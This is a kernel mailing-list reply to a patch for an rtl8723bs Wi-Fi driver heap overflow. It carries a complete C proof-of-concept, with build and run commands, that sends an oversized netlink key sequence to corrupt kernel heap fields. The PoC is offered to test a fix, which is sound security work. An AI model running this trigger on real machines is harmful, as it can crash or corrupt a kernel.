Re: [RFC PATCH v7] staging: rtl8723bs: fix heap buffer overflow in cfg80211_rtw_add_key()

[Feng Ning <feng@innora.ai>]

As mentioned in the RFC, here is the userspace trigger for the
overflow, for anyone with rtl8723bs hardware willing to test.

It sends NL80211_CMD_NEW_KEY with a 16-byte NL80211_ATTR_KEY_SEQ
(8 bytes more than ieee_param.crypt.seq holds) on a monitor-less
managed interface.  On an unpatched kernel with KASAN enabled it
should produce:

  BUG: KASAN: slab-out-of-bounds in cfg80211_rtw_add_key
  Write of size 16 ...

On a kernel with the v7 patch applied, the same command should
return NLMSG_ERROR with errno EINVAL and no splat.

Build (needs libnl-3.0 / libnl-genl-3.0):

  gcc -o poc poc_seq_overflow.c $(pkg-config --cflags --libs libnl-3.0 libnl-genl-3.0)

Run:

  sudo ./poc wlan0

Requires CAP_NET_ADMIN and an rtl8723bs interface present.

--- poc_seq_overflow.c ---

/*
 * PoC: rtl8723bs cfg80211_rtw_add_key seq[] heap buffer overflow
 *
 * Bug:  drivers/staging/rtl8723bs/os_dep/ioctl_cfg80211.c ~line 887
 *       memcpy(param->u.crypt.seq, params->seq, params->seq_len);
 *
 *       param->u.crypt.seq = u8 seq[8]  (fixed 8 bytes, ieee80211.h:190)
 *       params->seq_len    = up to 16   (NL80211_KEY_SEQ .len=16, nl80211.c:956)
 *       Result: 8-byte heap overflow WRITE past seq[8]
 *
 * Overwritten fields (struct ieee_param.u.crypt):
 *       offset 37: seq[8]    ← 8 bytes written legitimately
 *       offset 45: pad       ← 1 byte overflow
 *       offset 46: key_len   ← 2 bytes overflow (u16, corrupted)
 *       offset 48: key[]     ← 5 bytes overflow
 *
 * Trigger: NL80211_CMD_NEW_KEY with 16-byte NL80211_ATTR_KEY_SEQ
 * Requires: CAP_NET_ADMIN + rtl8723bs WiFi interface loaded
 * Build:    gcc -o poc poc_seq_overflow.c $(pkg-config --cflags --libs libnl-3.0 libnl-genl-3.0)
 * Run:      sudo ./poc wlan0
 * Expect:   dmesg → KASAN: slab-out-of-bounds WRITE in cfg80211_rtw_add_key
 *
 * CWE-122 | CVSS 6.7 (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
 *
 * Author: Feng Ning (feng@innora.ai) — Innora Security Research
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>

/* nl80211 command and attribute IDs */
#define NL80211_CMD_NEW_KEY       13
#define NL80211_ATTR_IFINDEX       3
#define NL80211_ATTR_KEY_DATA     25
#define NL80211_ATTR_KEY_IDX      26
#define NL80211_ATTR_KEY_CIPHER   27
#define NL80211_ATTR_KEY_SEQ      28
#define WLAN_CIPHER_SUITE_TKIP    0x000FAC02

int main(int argc, char **argv)
{
    struct nl_sock *sk;
    struct nl_msg *msg;
    int fam, ifidx, ret;

    if (argc < 2) {
        fprintf(stderr, "Usage: sudo %s <wlan_interface>\n", argv[0]);
        fprintf(stderr, "  Requires rtl8723bs driver and CAP_NET_ADMIN\n");
        return 1;
    }

    ifidx = if_nametoindex(argv[1]);
    if (!ifidx) {
        perror("if_nametoindex");
        return 1;
    }

    sk = nl_socket_alloc();
    if (!sk) { perror("nl_socket_alloc"); return 1; }

    if (genl_connect(sk) < 0) {
        fprintf(stderr, "genl_connect failed\n");
        return 1;
    }

    fam = genl_ctrl_resolve(sk, "nl80211");
    if (fam < 0) {
        fprintf(stderr, "nl80211 family not found\n");
        return 1;
    }

    msg = nlmsg_alloc();
    genlmsg_put(msg, 0, 0, fam, 0, 0, NL80211_CMD_NEW_KEY, 0);

    nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifidx);
    nla_put_u8(msg, NL80211_ATTR_KEY_IDX, 0);
    nla_put_u32(msg, NL80211_ATTR_KEY_CIPHER, WLAN_CIPHER_SUITE_TKIP);

    /* TKIP requires 32-byte key */
    uint8_t key[32];
    memset(key, 0x41, sizeof(key));
    nla_put(msg, NL80211_ATTR_KEY_DATA, sizeof(key), key);

    /*
     * OVERFLOW TRIGGER
     *
     * NL80211_ATTR_KEY_SEQ with 16 bytes.  nl80211.c allows up to 16.
     * cfg80211 passes this to driver as params->seq / params->seq_len=16.
     * rtl8723bs copies all 16 bytes into seq[8] → 8 bytes past boundary.
     *
     * The overflow pattern 0x42 ('B') will be visible in KASAN output
     * and in the corrupted key_len / key[] fields.
     */
    uint8_t seq[16];
    memset(seq, 0x42, sizeof(seq));
    nla_put(msg, NL80211_ATTR_KEY_SEQ, sizeof(seq), seq);

    printf("[*] rtl8723bs seq[] heap overflow PoC\n");
    printf("[*] Interface: %s (ifindex %d)\n", argv[1], ifidx);
    printf("[*] Sending NL80211_CMD_NEW_KEY with seq_len=16 (buffer=8)\n");

    ret = nl_send_auto(sk, msg);
    if (ret < 0)
        fprintf(stderr, "[-] send failed: %s\n", nl_geterror(ret));
    else
        printf("[+] Sent %d bytes\n", ret);

    /* Receive response (will likely be -ENOLINK or similar, but overflow
     * already happened in the driver before the error path) */
    nl_recvmsgs_default(sk);

    nlmsg_free(msg);
    nl_socket_free(sk);

    printf("[*] Done. Check 'dmesg | grep KASAN' for heap overflow report.\n");
    return 0;
}

--- end ---

I have verified the trigger path by code review of the cfg80211 key
installation path (nl80211 NL80211_KEY_SEQ policy allows .len = 16
while the driver buffer is 8 bytes) but do not have the hardware to
run it myself; that is exactly what a Tested-by from this list would
add.

Thanks,
Feng Ning